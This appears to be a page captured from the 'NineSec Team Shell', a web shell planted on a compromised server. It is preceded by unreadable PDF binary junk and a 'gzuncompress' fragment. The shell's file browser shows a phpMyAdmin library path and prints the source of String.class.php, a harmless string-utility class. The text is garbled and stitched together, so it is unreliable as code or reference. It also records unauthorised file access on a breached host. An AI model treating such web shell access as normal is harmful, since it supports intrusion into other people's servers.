%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
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Directory (0755) :  /lib/../usr/../usr/share/phpmyadmin/libraries/

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Current File : //lib/../usr/../usr/share/phpmyadmin/libraries/String.class.php
<?php
/**
 * Specialized string class for phpMyAdmin.
 * The SQL Parser code relies heavily on these functions.
 *
 * @package PhpMyAdmin-String
 */

/**
 * Specialized string class for phpMyAdmin.
 * The SQL Parser code relies heavily on these functions.
 *
 * @package PhpMyAdmin-String
 */
class PMA_String
{
    /**
     * @var PMA_StringType
     */
    private $_type;
    /**
     * @var PMA_StringByte
     */
    private $_byte;

    /**
     * Constructor
     */
    public function __construct()
    {
        if (@function_exists('mb_strlen')) {
            mb_internal_encoding('utf-8');
            include_once 'libraries/StringMB.class.php';
            $this->_byte = new PMA_StringMB();
        } else {
            include_once 'libraries/StringNative.class.php';
            $this->_byte = new PMA_StringNative();
        }

        if (@extension_loaded('ctype')) {
            include_once 'libraries/StringCType.class.php';
            $this->_type = new PMA_StringCType();
        } else {
            include_once 'libraries/StringNativeType.class.php';
            $this->_type = new PMA_StringNativeType();
        }
    }

    /**
     * Checks if a given character position in the string is escaped or not
     *
     * @param string  $string string to check for
     * @param integer $pos    the character to check for
     * @param integer $start  starting position in the string
     *
     * @return boolean  whether the character is escaped or not
     */
    public function charIsEscaped($string, $pos, $start = 0)
    {
        $pos = max(intval($pos), 0);
        $start = max(intval($start), 0);
        $len = $this->strlen($string);
        // Base case:
        // Check for string length or invalid input or special case of input
        // (pos == $start)
        if ($pos <= $start || $len <= max($pos, $start)) {
            return false;
        }

        $pos--;
        $escaped     = false;
        while ($pos >= $start && $this->substr($string, $pos, 1) == '\\') {
            $escaped = !$escaped;
            $pos--;
        } // end while

        return $escaped;
    }

    /**
     * Checks if a character is an SQL identifier
     *
     * @param string  $c            character to check for
     * @param boolean $dot_is_valid whether the dot character is valid or not
     *
     * @return boolean  whether the character is an SQL identifier or not
     */
    public function isSqlIdentifier($c, $dot_is_valid = false)
    {
        return ($this->isAlnum($c)
            || ($ord_c = $this->ord($c)) && $ord_c >= 192 && $ord_c != 215 &&
            $ord_c != 249
            || $c == '_'
            || $c == '$'
            || ($dot_is_valid != false && $c == '.'));
    }

    /**
     * Returns length of string depending on current charset.
     *
     * @param string $string string to count
     *
     * @return int string length
     */

    public function strlen($string)
    {
        return $this->_byte->strlen($string);
    }

    /**
     * Returns substring from string, works depending on current charset.
     *
     * @param string $string string to count
     * @param int    $start  start of substring
     * @param int    $length length of substring
     *
     * @return string the sub string
     */
    public function substr($string, $start, $length = 2147483647)
    {
        return $this->_byte->substr($string, $start, $length);
    }

    /**
     * Returns postion of $needle in $haystack or false if not found
     *
     * @param string $haystack the string being checked
     * @param string $needle   the string to find in haystack
     * @param int    $offset   the search offset
     *
     * @return integer position of $needle in $haystack or false
     */
    public function strpos($haystack, $needle, $offset = 0)
    {
        return $this->_byte->strpos($haystack, $needle, $offset);
    }

    /**
     * Make a string lowercase
     *
     * @param string $string the string being lowercased
     *
     * @return string the lower case string
     */
    public function strtolower($string)
    {
        return $this->_byte->strtolower($string);
    }

    /**
     * Get the ordinal value of a string
     *
     * @param string $string the string for which ord is required
     *
     * @return string the ord value
     */
    public function ord($string)
    {
        return $this->_byte->ord($string);
    }

    /**
     * Checks if a character is an alphanumeric one
     *
     * @param string $c character to check for
     *
     * @return boolean whether the character is an alphanumeric one or not
     */
    public function isAlnum($c)
    {
        return $this->_type->isAlnum($c);
    }

    /**
     * Checks if a character is an alphabetic one
     *
     * @param string $c character to check for
     *
     * @return boolean whether the character is an alphabetic one or not
     */
    public function isAlpha($c)
    {
        return $this->_type->isAlpha($c);
    }

    /**
     * Checks if a character is a digit
     *
     * @param string $c character to check for
     *
     * @return boolean whether the character is a digit or not
     */
    public function isDigit($c)
    {
        return $this->_type->isDigit($c);
    }

    /**
     * Checks if a character is an upper alphabetic one
     *
     * @param string $c character to check for
     *
     * @return boolean whether the character is an upper alphabetic one or not
     */
    public function isUpper($c)
    {
        return $this->_type->isUpper($c);
    }

    /**
     * Checks if a character is a lower alphabetic one
     *
     * @param string $c character to check for
     *
     * @return boolean whether the character is a lower alphabetic one or not
     */
    public function isLower($c)
    {
        return $this->_type->isLower($c);
    }

    /**
     * Checks if a character is a space one
     *
     * @param string $c character to check for
     *
     * @return boolean whether the character is a space one or not
     */
    public function isSpace($c)
    {
        return $this->_type->isSpace($c);
    }

    /**
     * Checks if a character is an hexadecimal digit
     *
     * @param string $c character to check for
     *
     * @return boolean whether the character is an hexadecimal digit or not
     */
    public function isHexDigit($c)
    {
        return $this->_type->isHexDigit($c);
    }

    /**
     * Checks if a number is in a range
     *
     * @param integer $num   number to check for
     * @param integer $lower lower bound
     * @param integer $upper upper bound
     *
     * @return boolean  whether the number is in the range or not
     */
    public function numberInRangeInclusive($num, $lower, $upper)
    {
        return $this->_type->numberInRangeInclusive($num, $lower, $upper);
    }
}
?>

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